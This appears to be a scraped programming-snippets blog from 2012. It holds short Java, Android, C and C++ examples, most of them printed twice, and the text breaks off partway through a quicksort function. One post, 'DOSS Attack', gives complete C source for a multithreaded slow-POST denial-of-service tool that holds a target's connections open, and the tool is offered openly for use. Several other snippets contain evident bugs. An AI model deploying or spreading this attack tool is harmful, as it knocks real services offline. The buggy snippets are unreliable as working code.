The entire lifetime of an activity happens between the first call to onCreate(Bundle)
through to a single final call to onDestroy().
To save exit from the application we need to implement method OnDestroy();
/*****************************************/
protected void onDestroy(){
// call constructor
super.onDestroy();
//If this is set to true then the process
//will not be killed until all of its threads have closed.
System.runFinalizersOnExit(true);
//Force system to close the application
System.exit(0);
}
/*****************************************/
Friday, 10 August 2012
SHA1 (Java)
public class Sha1{ public Sha1Coding(){ MessageDigest md = MessageDigest.getInstance("SHA1"); md.reset(); byte[] buffer = input.getBytes(); md.update(buffer); byte[] digest = md.digest(); String str = ""; for (int i = 0; i < digest.length; i++) {
str += Integer.toString( ( digest[i] & 0xff ) + 0x100, 16).substring( 1 ); } return str; }
}
Next Random number (Java code)
import java.util.Random;
class Random{
private static final Random RAND = new Random();
public static int nextRandomInt(int max) {
int n = RAND.nextInt();
return (n < 0 ? -n : n) % max;
}
public static int nextRandomInt() {
int n = RAND.nextInt();
return n < 0 ? -n : n;
}
}
class Random{
private static final Random RAND = new Random();
public static int nextRandomInt(int max) {
int n = RAND.nextInt();
return (n < 0 ? -n : n) % max;
}
public static int nextRandomInt() {
int n = RAND.nextInt();
return n < 0 ? -n : n;
}
}
Function String to Unsigned long long int (C/C++ code))
typedef unsigned long long u64;
typedef unsigned char u8;
bool String_to_Long_Int (u8 *str, int len, u64 *pNumber)
{
u64 number = 0;
if(len <= 0)
return FALSE;
while(len--)
{
u8 ch = *str++;
if( (ch < '0') || (ch > '9') )
return false;
number = (number*10+(ch-'0'));
}
*pNumber= number;
return true;
}
typedef unsigned char u8;
bool String_to_Long_Int (u8 *str, int len, u64 *pNumber)
{
u64 number = 0;
if(len <= 0)
return FALSE;
while(len--)
{
u8 ch = *str++;
if( (ch < '0') || (ch > '9') )
return false;
number = (number*10+(ch-'0'));
}
*pNumber= number;
return true;
}
Sort vector usinf make_heap and sort_heap (C++ code))
#include <iostream>
#include <cassert>
#include <algorithm>
#include <vector>
using namespace std;
int main()
{
vector<int> vector1(5);
for (int i = 0; i < 5; ++i)
vector1[i] = i;
random_shuffle(vector1.begin(), vector1.end());
make_heap(vector1.begin(), vector1.end());
sort_heap(vector1.begin(), vector1.end());
for (int i = 0; i < 5; ++i)
cout << vector1[i];
return 0;
}
Draw Rectangle (Android)
package app.test;
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Bundle;
import android.widget.ImageView;
public class Test extends Activity {
ImageView DrawingImage;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
DrawingImage = (ImageView) this.findViewById(R.id.DrawingImageView1);
Bitmap bitmap = Bitmap.createBitmap((int) getWindowManager()
.getDefaultDisplay().getWidth(), (int) getWindowManager()
.getDefaultDisplay().getHeight(), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
DrawingImage.setImageBitmap(bitmap);
// Draw Rectangle
Paint paint = new Paint();
paint.setColor(Color.BLACK);
paint.setStyle(Paint.Style.FILL_AND_STROKE);
paint.setStrokeWidth(10);
float left = 20;
float top = 20;
float right = 50;
float bottom = 100;
canvas.drawRect(left, top, right, bottom, paint);
}
}
import android.app.Activity;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Bundle;
import android.widget.ImageView;
public class Test extends Activity {
ImageView DrawingImage;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
DrawingImage = (ImageView) this.findViewById(R.id.DrawingImageView1);
Bitmap bitmap = Bitmap.createBitmap((int) getWindowManager()
.getDefaultDisplay().getWidth(), (int) getWindowManager()
.getDefaultDisplay().getHeight(), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(bitmap);
DrawingImage.setImageBitmap(bitmap);
// Draw Rectangle
Paint paint = new Paint();
paint.setColor(Color.BLACK);
paint.setStyle(Paint.Style.FILL_AND_STROKE);
paint.setStrokeWidth(10);
float left = 20;
float top = 20;
float right = 50;
float bottom = 100;
canvas.drawRect(left, top, right, bottom, paint);
}
}
Capture and save Bitmap (Android)
package app.test;
import java.io.File;
import android.app.Activity;
import android.content.ContentValues;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Bundle;
import android.provider.MediaStore;
import android.provider.MediaStore.Images.Media;
import android.util.Log;
import android.view.View;
public class Test extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
}
public void captureImage(View view)
{
Intent i = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
startActivityForResult(i, 0);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if(requestCode==0 && resultCode==Activity.RESULT_OK)
{
Bitmap myBitmap = (Bitmap) data.getExtras().get("data");
}
}
}
import java.io.File;
import android.app.Activity;
import android.content.ContentValues;
import android.content.Intent;
import android.content.pm.ActivityInfo;
import android.graphics.Bitmap;
import android.net.Uri;
import android.os.Bundle;
import android.provider.MediaStore;
import android.provider.MediaStore.Images.Media;
import android.util.Log;
import android.view.View;
public class Test extends Activity {
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
}
public void captureImage(View view)
{
Intent i = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
startActivityForResult(i, 0);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
if(requestCode==0 && resultCode==Activity.RESULT_OK)
{
Bitmap myBitmap = (Bitmap) data.getExtras().get("data");
}
}
}
Load png icon in android app with XML
<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<SlidingDrawer
android:id="@+id/drawer"
android:layout_width="320dip"
android:layout_height="440dip"
android:orientation="vertical"
android:handle="@+id/handle"
android:content="@+id/content">
<ImageView
android:id="@+id/image1"
android:layout_width="48dip"
android:layout_height="48dip"
android:src="@drawable/icon" />
<AnalogClock android:id="@+id/clock1"
android:background="#D0A0A0"
android:layout_width="fill_parent"
android:layout_height="fill_parent" />
</SlidingDrawer>
</RelativeLayout>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<SlidingDrawer
android:id="@+id/drawer"
android:layout_width="320dip"
android:layout_height="440dip"
android:orientation="vertical"
android:handle="@+id/handle"
android:content="@+id/content">
<ImageView
android:id="@+id/image1"
android:layout_width="48dip"
android:layout_height="48dip"
android:src="@drawable/icon" />
<AnalogClock android:id="@+id/clock1"
android:background="#D0A0A0"
android:layout_width="fill_parent"
android:layout_height="fill_parent" />
</SlidingDrawer>
</RelativeLayout>
Video View in android app
package app.test;
import android.app.Activity;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.widget.MediaController;
import android.widget.VideoView;
public class MainActivity extends Activity {
/** Called when the activity is first created. */
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(R.layout.main);
VideoView videoView = (VideoView)this.findViewById(R.id.videoView);
MediaController mc = new MediaController(this);
videoView.setMediaController(mc);
videoView.setVideoURI(Uri.parse("http://yourhost.com/movie.mp4"));
videoView.requestFocus();
videoView.start();
}
}
import android.app.Activity;
import android.net.Uri;
import android.os.Bundle;
import android.os.Environment;
import android.widget.MediaController;
import android.widget.VideoView;
public class MainActivity extends Activity {
/** Called when the activity is first created. */
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
this.setContentView(R.layout.main);
VideoView videoView = (VideoView)this.findViewById(R.id.videoView);
MediaController mc = new MediaController(this);
videoView.setMediaController(mc);
videoView.setVideoURI(Uri.parse("http://yourhost.com/movie.mp4"));
videoView.requestFocus();
videoView.start();
}
}
Thursday, 9 August 2012
Bluetooth (Android)
import android.bluetooth.BluetoothAdapter;
import android.util.Log;
public class BluetoothAdapterUtil {
// logger entry
private final static String LOG_TAG = BluetoothAdapterUtil.class.getSimpleName();
private static final int LOOP_WAIT_TIME = 500;
private static final int MAX_REPETITIONS_COUNT = 30;
public static void startBluetoothAdapter() {
try {
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_ON, MAX_REPETITIONS_COUNT);
} catch (Exception e) {
Log.d(LOG_TAG, e.getMessage());
}
}
public static void stopBluetoothAdapter() {
try {
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_OFF, MAX_REPETITIONS_COUNT);
} catch (Exception e) {
Log.d(LOG_TAG, e.getMessage());
}
}
private static void waitUntilBluetoothAdapterIsInState(int state, int remainingLoops) throws Exception {
BluetoothAdapter bluetoothAdapter = BluetoothAdapter.getDefaultAdapter();
if(remainingLoops > 0) {
switch (state) {
case BluetoothAdapter.STATE_OFF:
if (bluetoothAdapter.getState() == BluetoothAdapter.STATE_TURNING_OFF) {
waitNMillis(LOOP_WAIT_TIME);
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_OFF, remainingLoops - 1);
} else if (bluetoothAdapter.getState() == BluetoothAdapter.STATE_OFF) {
Log.d(LOG_TAG, "BluetoothAdapter is in state OFF");
return;
} else {
// ensure we're not waiting for Godot ;)
bluetoothAdapter.disable();
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_OFF, remainingLoops - 1);
}
break;
case BluetoothAdapter.STATE_ON:
if (bluetoothAdapter.getState() == BluetoothAdapter.STATE_TURNING_ON) {
waitNMillis(LOOP_WAIT_TIME);
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_ON, remainingLoops - 1);
} else if (bluetoothAdapter.getState() == BluetoothAdapter.STATE_ON) {
Log.d(LOG_TAG, "BluetoothAdapter is in state ON");
return;
} else {
// ensure we're not waiting for Godot ;)
bluetoothAdapter.enable();
waitUntilBluetoothAdapterIsInState(BluetoothAdapter.STATE_ON, remainingLoops - 1);
}
break;
default:
throw new Exception(
"You can check only final states of BluetoothAdapter(STATE_ON|STATE_OFF).");
}
} else {
Log.e(LOG_TAG, "Error on waiting while BluetoothAdapter changes state to #" + state + ". ");
return;
}
}
private static void waitNMillis(long n) {
try {
Thread.sleep(n);
} catch (InterruptedException e) {
Log.e(LOG_TAG, "#waitNMillis() " + e.getMessage());
}
}
}
Using Google Map in android app (Android)
//AndroidManifest.xml
//Need to use internet and google map
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"></uses-permission>
<uses-permission android:name="android.permission.INTERNET"></uses-permission>
// Java class
package app.test;
import android.os.Bundle;
import com.google.android.maps.MapActivity;
import com.google.android.maps.MapController;
import com.google.android.maps.MapView;
public class MyActivity extends MapActivity {
MapView map;
MapController controller;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
map = (MapView)findViewById(R.id.map);
controller = map.getController();
LocationManager manager = (LocationManager)getSystemService(Context.LOCATION_SERVICE);
Location location = manager.getLastKnownLocation(LocationManager.GPS_PROVIDER);
int lat, lng;
if(location != null) {
//Convert to microdegrees
lat = (int)(location.getLatitude() * 1000000);
lng = (int)(location.getLongitude() * 1000000);
} else {
//Default to Google HQ
lat = 37427222;
lng = -122099167;
}
GeoPoint mapCenter = new GeoPoint(lat,lng);
controller.setCenter(mapCenter);
controller.setZoom(15);
}
//Required abstract method, return false
@Override
protected boolean isRouteDisplayed() {
return false;
}
}
RadioGroup (Android)
package app.test;
import android.app.Activity;
import android.os.Bundle;
import android.util.Log;
import android.widget.RadioGroup;
public class Test extends Activity {
protected static final String TAG = "RadioGroup";
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
RadioGroup radGrp = (RadioGroup) findViewById(R.id.main);
int RadioButtonId = radGrp.getCheckedRadioButtonId();
radGrp.setOnCheckedChangeListener(new RadioGroup.OnCheckedChangeListener() {
public void onCheckedChanged(RadioGroup arg0, int id) {
switch (id) {
case -1:
Log.v(TAG, "Choices!!!");
break;
case R.id.Num1:
Log.v(TAG, " Number 1 ");
break;
case R.id.
Num2
:
Log.v(TAG, "
Number 2
");
break;
case R.id.
Num3
:
Log.v(TAG, "
Number 3
");
break;
default:
Log.v(TAG, "Problem?");
break;
}
}
});
}
}
/////////////////////////////////////////
//main.xml
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent">
<RadioButton
android:id="@+id/anotherRadBtn"
android:text="Outside"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<RadioGroup android:id="@+id/radGrp"
android:layout_width="wrap_content"
android:layout_height="wrap_content">
<RadioButton
android:id="@+id/
Num1
"
android:text="Chicken"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<RadioButton
android:id="@+id/
Num2
"
android:text="Fish"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<RadioButton
android:id="@+id/
Num3
"
android:text="Steak"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
<TextView
android:text="My Favorite"
android:layout_width="wrap_content"
android:layout_height="wrap_content"/>
</RadioGroup>
</LinearLayout>
Conver string to int (C++ code)
#include<cstring>
int pow(int n,int i){
int rez = 1;
while(i){
rez*=n;
i--;
}
return rez;
}
bool Check_char(const char *str){
if(str[0]=='-'){
for(int i=1;i<strlen(str);i++){
if((str[i]<'0')||(str[i]>'9')){
return false;
}
}
return true;
}
else {
for(int i=0;i<strlen(str);i++){
if((str[i]<'0')||(str[i]>'9')){
return false;
}
}
return true;
}
}
int Char_to_Int(char *str){
if(!Check_char(str)){
printf("Error !!!\nString is not only numbers.\n");
return -1;
}
int l,rez,j=1;
l=strlen(str)-1;
rez = str[l]-48;
for(int i=l-1;i>=(str[0]!='-'?0:1);i--){
rez+=(str[i]-48)*pow(10,j);
j++;
}
return str[0]!='-'?rez:-rez;
}
int pow(int n,int i){
int rez = 1;
while(i){
rez*=n;
i--;
}
return rez;
}
bool Check_char(const char *str){
if(str[0]=='-'){
for(int i=1;i<strlen(str);i++){
if((str[i]<'0')||(str[i]>'9')){
return false;
}
}
return true;
}
else {
for(int i=0;i<strlen(str);i++){
if((str[i]<'0')||(str[i]>'9')){
return false;
}
}
return true;
}
}
int Char_to_Int(char *str){
if(!Check_char(str)){
printf("Error !!!\nString is not only numbers.\n");
return -1;
}
int l,rez,j=1;
l=strlen(str)-1;
rez = str[l]-48;
for(int i=l-1;i>=(str[0]!='-'?0:1);i--){
rez+=(str[i]-48)*pow(10,j);
j++;
}
return str[0]!='-'?rez:-rez;
}
List (C++ code)
class Node{
public:
int data;
Node* next;
Node(){
next=NULL;
}
Node(Node *next,int data);
void set(int data);
void get();
};
class List{
public:
Node* start;
List();
List(int data);
void Add(int pos,int data);
void Add(int data);
int getSize();
int getPosForData(int pos, int data);
int getPos(int pos);
void removePos(int pos);
void remove(int data);
~List();
};
#include<iostream>
#include"List.h"
using namespace std;
Node :: Node(Node *next,int data){
this->next = next;
this->data = data;
}
void Node :: get(){
Node *tmp = this->next;
while (tmp != NULL){
cout<<this->data<<endl;
tmp = tmp->next;
}
}
void Node :: set(int data){
Node *tmp;
tmp = new Node;
tmp->data = data;
this->next=tmp;
}
List :: List(){
start = NULL;
}
List :: List(int data){
start = new Node (NULL,data);
}
List ::~List (){
while (start!=NULL){
Node *todel=start;
start = todel->next;
delete todel;
}
}
void List :: removePos(int pos){
Node **prev = &start;
for(int i=0;i<pos;i++){
prev = &(*prev)->next;
}
Node * todel = (**prev).next;
(*prev) = todel->next;
delete todel;
}
void List :: Add (int data){
Node ** prev = &start;
while ((*prev)->next != NULL){
prev = &(*prev)->next;
}
*prev = new Node (NULL,data);
}
void List :: Add(int data,int pos){
Node **prev = &start;
for(int i=0;i<pos;i++){
prev = &((*prev)->next);
}
*prev = new Node ((*prev)->next,data);
}
int List :: getSize (){
int rez = 0;
Node *next = start;
while(next!=NULL){
rez++;
next = next->next;
}
return rez;
}
int List :: getPosForData(int pos,int data){
int rez=-1;
Node *next = start;
while((next!=NULL)&&(next->data!=data)){
rez++;
next = next->next;
if(data == next->data){
return rez;
}
}
return -1;
}
int List :: getPos(int pos){
Node *rez = start;
for (int i=0;i<pos;i++){
rez = rez->next;
}
return rez->data;
}
void List ::remove(int data){
Node ** prev = &start;
while ((*prev)->next != NULL){
while((*prev)->data != data){
prev = &(*prev)->next;
if((*prev) == NULL) return;
}
Node * todel = (*prev)->next;
(*prev) = todel->next;
delete todel;
}
}
int mai (){
return 0;
}
Permutate
#include <stdio.h>
#define MAXN 100
const unsigned n = 4;
unsigned char used[MAXN];
unsigned mp[MAXN];
void print(void)
{ unsigned j;
for (j=0; j<n; j++) printf("%u ", mp[j]+1);
printf("\n");
}
void permute(unsigned i)
{ unsigned j;
if (i>=n) { print(); return; }
for (j=0; j<n; j++)
{ if (!used[j])
{ used[j]=1; mp[i]=j;
permute(i+1);
used[j]=0;
}
}
}
int main()
{ unsigned j;
for (j=0; j<n; j++)
used[j]=0;
permute(0);
return 0;
}
#define MAXN 100
const unsigned n = 4;
unsigned char used[MAXN];
unsigned mp[MAXN];
void print(void)
{ unsigned j;
for (j=0; j<n; j++) printf("%u ", mp[j]+1);
printf("\n");
}
void permute(unsigned i)
{ unsigned j;
if (i>=n) { print(); return; }
for (j=0; j<n; j++)
{ if (!used[j])
{ used[j]=1; mp[i]=j;
permute(i+1);
used[j]=0;
}
}
}
int main()
{ unsigned j;
for (j=0; j<n; j++)
used[j]=0;
permute(0);
return 0;
}
DOSS Attack (C++ code) Linux
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define MAXSIZE 5000
#define THREADS 255
char startbuf[MAXSIZE];
char hostname[MAXSIZE];
int port;
void dothread(void *arg)
{
int sd, count=0;
struct sockaddr_in sin;
struct sockaddr_in pin;
struct hostent *hp;
int self;
char dot[1];
memcpy(&self, arg, sizeof(int));
if ((hp = gethostbyname(hostname)) == 0)
{
perror("gethostbyname");
exit(1);
}
memset(&pin, 0, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
pin.sin_port = htons(port);
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
return;
}
if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1)
{
perror("connect");
return;
}
if (send(sd, startbuf, strlen(startbuf), 0) == -1)
{
perror("send");
return;
}
dot[0] = (unsigned char)(self&0xFF);
for (count=0;count<5000;count++)
{
/* just a weak PRNG..better use rand() instead */
dot[0] = (unsigned char)(dot[0]+count);
dot[0] = (unsigned char)((dot[0]<<1)|(dot[0]>>31))&0x7F;
send(sd, dot, 1, 0);
sleep(100);
}
close(sd);
}
void usage(void)
{
printf("Usage: ./evildos <host> <port> <POST_URI>\n");
printf("POST_URI is a URI that supports the POST method. Static content obviously don't\n");
exit(1);
}
int main(int argc, char **argv)
{
pthread_t threads[THREADS];
int counter;
if (argc!=4) usage();
strcpy(hostname,argv[1]);
port = atoi(argv[2]);
sprintf(startbuf, "POST %s HTTP/1.1\nHost: %s\nAccept: text/html\nAccept-Encoding: gzip,deflate\nConnection: keep-alive\nKeep-alive: 900\nContent-length: 5000\n\n", argv[3],hostname);
printf("Spawning threads\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_create(&threads[counter], NULL, dothread, &counter);
usleep(100000);
}
printf("All threads spawned, wait for graceful shutdown. At that point unless there are limits on concurrent conns, victim should be gone.\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_join(&threads[counter]);
}
}
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#define MAXSIZE 5000
#define THREADS 255
char startbuf[MAXSIZE];
char hostname[MAXSIZE];
int port;
void dothread(void *arg)
{
int sd, count=0;
struct sockaddr_in sin;
struct sockaddr_in pin;
struct hostent *hp;
int self;
char dot[1];
memcpy(&self, arg, sizeof(int));
if ((hp = gethostbyname(hostname)) == 0)
{
perror("gethostbyname");
exit(1);
}
memset(&pin, 0, sizeof(pin));
pin.sin_family = AF_INET;
pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
pin.sin_port = htons(port);
if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("socket");
return;
}
if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1)
{
perror("connect");
return;
}
if (send(sd, startbuf, strlen(startbuf), 0) == -1)
{
perror("send");
return;
}
dot[0] = (unsigned char)(self&0xFF);
for (count=0;count<5000;count++)
{
/* just a weak PRNG..better use rand() instead */
dot[0] = (unsigned char)(dot[0]+count);
dot[0] = (unsigned char)((dot[0]<<1)|(dot[0]>>31))&0x7F;
send(sd, dot, 1, 0);
sleep(100);
}
close(sd);
}
void usage(void)
{
printf("Usage: ./evildos <host> <port> <POST_URI>\n");
printf("POST_URI is a URI that supports the POST method. Static content obviously don't\n");
exit(1);
}
int main(int argc, char **argv)
{
pthread_t threads[THREADS];
int counter;
if (argc!=4) usage();
strcpy(hostname,argv[1]);
port = atoi(argv[2]);
sprintf(startbuf, "POST %s HTTP/1.1\nHost: %s\nAccept: text/html\nAccept-Encoding: gzip,deflate\nConnection: keep-alive\nKeep-alive: 900\nContent-length: 5000\n\n", argv[3],hostname);
printf("Spawning threads\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_create(&threads[counter], NULL, dothread, &counter);
usleep(100000);
}
printf("All threads spawned, wait for graceful shutdown. At that point unless there are limits on concurrent conns, victim should be gone.\n");
for (counter=1;counter<THREADS;counter++)
{
pthread_join(&threads[counter]);
}
}
BinTree (C++ code)
#include<iostream>
using namespace std;
struct Node {
int data;
Node * left,*right;
Node (int n_data){
data=n_data;
left = NULL;
right = NULL;
}
};
class Tree{
public:
Node *root;
Tree(int data){
root = new Node(data);
//root = new Node(data);
}
friend ostream& operator << (ostream& out,Node * r)
{
if(!r){return out;}
out<<r->data<<" ";
if(r->left){out<<r->left;}
if(r->right){out<<r->right;}
return out;
}
Node getRoot()
{
return (*root);
}
~Tree()
{
while(root)
{
remove(root,root->data);
}
}
void add(Node *&n,int data){
if(!n){
n = new Node(data);
return;
}
if(n->data >= data){
add(n->left,data);
}
else {
add(n->right,data);
}
}
void remove(Node *&n, int data){
if(!n)return;
if(n->data == data){
if(!n->left){
Node *tmp = n;
n = n->right;
delete tmp;
}
else if(!n->right){
Node *tmp = n;
n = n->left;
delete tmp;
}
else n->data = min(n->left);
}
else {
if(n->data > data){
remove(n->left,data);
}
else remove(n->right,data);
}
}
int min(Node *n)
{
if(n->left) return min(n->left);
int i = n->data;
Node * tmp = n;
n = n->right;
delete tmp;
return i;
}
void print(Node *n){
if (n == NULL) {
return;
}
print(n->left);
if (!(n-> left || n->right)) {
cout<<n->data;
}
print(n->right);
}
int getSize(){
int i=0;
return size(root,i);
}
int size(Node *r,int br){
if(r==NULL){return br;}
if(r->left){
size(r->left,++br);
}
if(r->right){
size(r->right,++br);
}
}
};
int main (){
Tree p(10);
Node * r = &p.getRoot();
p.add(r,1);
p.add(r,2);
p.add(r,3);
p.add(r,4);
p.add(r,5);
p.add(r,6);
p.add(r,7);
//p.remove(r,6);
//p.print(r);
cout<<p.getSize();
return 0;
}
using namespace std;
struct Node {
int data;
Node * left,*right;
Node (int n_data){
data=n_data;
left = NULL;
right = NULL;
}
};
class Tree{
public:
Node *root;
Tree(int data){
root = new Node(data);
//root = new Node(data);
}
friend ostream& operator << (ostream& out,Node * r)
{
if(!r){return out;}
out<<r->data<<" ";
if(r->left){out<<r->left;}
if(r->right){out<<r->right;}
return out;
}
Node getRoot()
{
return (*root);
}
~Tree()
{
while(root)
{
remove(root,root->data);
}
}
void add(Node *&n,int data){
if(!n){
n = new Node(data);
return;
}
if(n->data >= data){
add(n->left,data);
}
else {
add(n->right,data);
}
}
void remove(Node *&n, int data){
if(!n)return;
if(n->data == data){
if(!n->left){
Node *tmp = n;
n = n->right;
delete tmp;
}
else if(!n->right){
Node *tmp = n;
n = n->left;
delete tmp;
}
else n->data = min(n->left);
}
else {
if(n->data > data){
remove(n->left,data);
}
else remove(n->right,data);
}
}
int min(Node *n)
{
if(n->left) return min(n->left);
int i = n->data;
Node * tmp = n;
n = n->right;
delete tmp;
return i;
}
void print(Node *n){
if (n == NULL) {
return;
}
print(n->left);
if (!(n-> left || n->right)) {
cout<<n->data;
}
print(n->right);
}
int getSize(){
int i=0;
return size(root,i);
}
int size(Node *r,int br){
if(r==NULL){return br;}
if(r->left){
size(r->left,++br);
}
if(r->right){
size(r->right,++br);
}
}
};
int main (){
Tree p(10);
Node * r = &p.getRoot();
p.add(r,1);
p.add(r,2);
p.add(r,3);
p.add(r,4);
p.add(r,5);
p.add(r,6);
p.add(r,7);
//p.remove(r,6);
//p.print(r);
cout<<p.getSize();
return 0;
}
DFS (C code)
#include <stdio.h>
/* Максимален брой върхове в графа */
#define MAXN 200
/* Брой върхове в графа */
const unsigned n = 14;
/* Обхождане в дълбочина с начало връх v */
const unsigned v = 5;
/* Матрица на съседство на графа */
const char A[MAXN][MAXN] = {
{0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0},
{0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0},
{0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1},
{0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0},
{0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1},
{0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0}
};
char used[MAXN];
/* Обхождане в дълбочина от даден връх */
void DFS(unsigned i)
{ unsigned k;
used[i] = 1;
printf("%u ", i+1);
for (k = 0; k < n; k++)
if (A[i][k] && !used[k]) DFS(k);
}
int main(void) {
unsigned k;
for (k = 1; k < n; k++) used[k] = 0;
printf("Обхождане в дълбочина от връх %u: \n", v);
DFS(v-1);
printf("\n");
return 0;
}
/* Максимален брой върхове в графа */
#define MAXN 200
/* Брой върхове в графа */
const unsigned n = 14;
/* Обхождане в дълбочина с начало връх v */
const unsigned v = 5;
/* Матрица на съседство на графа */
const char A[MAXN][MAXN] = {
{0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0},
{0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0},
{0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1},
{0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0},
{0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1},
{0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0}
};
char used[MAXN];
/* Обхождане в дълбочина от даден връх */
void DFS(unsigned i)
{ unsigned k;
used[i] = 1;
printf("%u ", i+1);
for (k = 0; k < n; k++)
if (A[i][k] && !used[k]) DFS(k);
}
int main(void) {
unsigned k;
for (k = 1; k < n; k++) used[k] = 0;
printf("Обхождане в дълбочина от връх %u: \n", v);
DFS(v-1);
printf("\n");
return 0;
}
Qsort (C code)
#include <assert.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
#define MAX 100
#define TEST_LOOP_CNT 100
struct CElem {
int key;
/* .............
Някакви данни
............. */
} m[MAX];
void swap(struct CElem *x1, struct CElem *x2)
{ struct CElem tmp = *x1; *x1 = *x2; *x2 = tmp; }
void init(struct CElem m[], unsigned n) /* Запълва масива със случайни цели числа */
{ unsigned i;
srand(time(NULL));
for (i = 0; i < n; i++)
m[i].key = rand() % n;
}
void quickSort(int l, int r)
{ int i, j, x;
i = l;
j = r;
x = m[(i+j) / 2].key;
do {
while (x > m[i].key)
i++;
while (x < m[j].key)
j--;
if (i <= j) {
swap(m+i, m+j);
i++; j--;
}
} while (j >= i);
if (j > l)
quickSort(l, j);
